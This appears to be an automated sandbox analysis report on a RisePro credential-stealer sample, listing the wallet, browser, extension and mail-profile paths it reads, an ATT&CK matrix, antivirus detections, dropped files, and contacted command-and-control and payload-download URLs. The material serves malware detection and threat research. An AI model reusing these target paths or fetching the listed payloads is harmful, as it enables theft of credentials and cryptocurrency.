Source: RageMP131.exe, 0000001B.00000002.6959624442.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletCC}
Source: RageMP131.exe, 0000001B.00000002.6959624442.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\wallets*c
Source: RageMP131.exe, 0000001B.00000002.6959624442.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.walletCC}
Source: RageMP131.exe, 0000001B.00000002.6959624442.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json@
Source: RageMP131.exe, 0000001B.00000002.6959624442.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\wallets*c
Source: RageMP131.exe, 0000001B.00000002.6959624442.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet
Source: RageMP131.exe, 0000001B.00000003.6775201198.0000000007F50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*l
Source: RageMP131.exe, 0000001B.00000002.6959010221.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb\CURRENT

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match

File source: Process Memory Space: RageMP131.exe PID: 8896, type: MEMORYSTR

Remote Access Functionality

Yara detected RisePro Stealer

Source: Yara match	File source: 0000001B.00000002.6959624442.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RageMP131.exe PID: 8896, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	12 Process Injection	3 Obfuscated Files or Information	11 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	111 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	12 Software Packing	Security Account Manager	217 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	111 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	741 Security Software Discovery	Distributed Component Object Model	11 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	261 Virtualization/Sandbox Evasion	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	261 Virtualization/Sandbox Evasion	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
setup.exe	50%	ReversingLabs	Win32.Trojan.Generic
setup.exe	100%	Avira	TR/Crypt.TPM.Gen
setup.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\1000015002\b6042db502.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	100%	Joe Sandbox ML
C:\Users\user\1000015002\b6042db502.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sarra[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	50%	ReversingLabs	Win32.Trojan.Generic

Name	IP	Active	Malicious
youtube-ui.l.google.com	172.217.23.110	true	false
www3.l.google.com	172.217.18.110	true	false
play.google.com	142.250.186.110	true	false
ipinfo.io	34.117.186.192	true	false
www.google.com	142.250.184.228	true	false
db-ip.com	104.26.5.15	true	false
accounts.youtube.com	unknown	unknown	false
www.youtube.com	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/Kiru9gu/index.php	false
http://147.45.47.155/ku4Nor9/index.php	true
https://ipinfo.io/widget/demo/8.46.123.33	false
https://play.google.com/log?format=json&hasfast=true&authuser=0	false
https://www.youtube.com/account	false
https://www.google.com/favicon.ico	false
https://ipinfo.io/	false
https://db-ip.com/demo/home.php?s=8.46.123.33	false

URLs from Memory and Binaries

Name	Source	Malicious
http://77.91.77.81/mine/amadka.exe	RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/chrome_newtab	RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io:443/widget/demo/8.46.123.33	MPGPH131.exe, 0000000F.00000003.3215443707.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	false
http://77.91.77.81/cost/go.exe	RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/RiseProSUPPORTlbBaNN	RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botSS8	MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.3215347767.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/demo/home.php?s=8.46.123.33N?	MPGPH131.exe, 0000000F.00000003.3215443707.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.00000000010EF000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/	MPGPH131.exe, 0000000E.00000003.3214797316.000000000142E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.3215347767.0000000001139000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.3193475206.0000000000634000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	false
http://77.91.77.81/mine/amadka.exeateid	RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro	eaa97795e9.exe, 00000013.00000003.3193475206.0000000000634000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botriseprok	RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/x	RageMP131.exe, 0000001B.00000003.3083983177.00000000014C9000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	false
http://77.91.77.81/cost/go.exeO	RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com:443/demo/home.php?s=8.46.123.33	MPGPH131.exe, 0000000F.00000003.3215443707.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botisepro_bot	RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_bot1	MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.3215347767.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io:443/widget/demo/8.46.123.332	RageMP131.exe, 0000001B.00000002.6959010221.0000000001447000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_bot33	MPGPH131.exe, 0000000E.00000003.3214797316.000000000142E000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botSS	eaa97795e9.exe, 00000013.00000003.3193475206.0000000000634000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/H=	MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.3215347767.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com:443/demo/home.php?s=8.46.123.33jL4	RageMP131.exe, 0000001B.00000002.6959010221.0000000001447000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/X	eaa97795e9.exe, 00000013.00000003.3193475206.0000000000634000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	eaa97795e9.exe, 00000008.00000003.2223816206.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000E.00000003.2313995874.0000000005110000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2314685161.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2330868888.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2410780137.0000000005470000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000018.00000003.2497539627.0000000005540000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6958028505.0000000000D81000.00000040.00000001.01000000.00000011.sdmp, RageMP131.exe, 0000001B.00000003.2575871276.0000000005110000.00000004.00001000.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/demo/home.php?s=8.46.123.33Jh	RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/RiseProSUPPORT	RageMP131.exe, 0000001B.00000002.6959010221.0000000001447000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959624442.0000000001540000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/Mozilla/5.0	MPGPH131.exe, 0000000F.00000003.3215443707.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.3193517047.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	false
https://ac.ecosia.org/autocomplete?q=	RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_bot	RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botlater	MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.3215347767.0000000001139000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	false
https://www.maxmind.com/en/locate-my-ip-address	RageMP131.exe	false
https://db-ip.com/demo/home.php?s=8.46.123.33y	RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	false
https://t.me/risepro_botisepro_botw	MPGPH131.exe, 0000000E.00000003.3214797316.000000000142E000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/widget/demo/8.46.123.33Op=6	RageMP131.exe, 0000001B.00000002.6959010221.000000000149C000.00000004.00000020.00020000.00000000.sdmp	false
http://www.winimage.com/zLibDll	eaa97795e9.exe, 00000008.00000003.2223816206.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000E.00000003.2313995874.0000000005110000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2314685161.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2330868888.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2410780137.0000000005470000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000018.00000003.2497539627.0000000005540000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6958028505.0000000000D81000.00000040.00000001.01000000.00000011.sdmp, RageMP131.exe, 0000001B.00000003.2575871276.0000000005110000.00000004.00001000.00020000.00000000.sdmp	false
https://db-ip.com/_d	RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RageMP131.exe, 0000001B.00000003.6767587819.0000000001692000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.6614411368.0000000007F42000.00000004.00000020.00020000.00000000.sdmp	false
http://77.91.77.81/cost/lenin.exe	RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
https://db-ip.com/demo/home.php?s=8.46.123.33FL4Q	RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	false
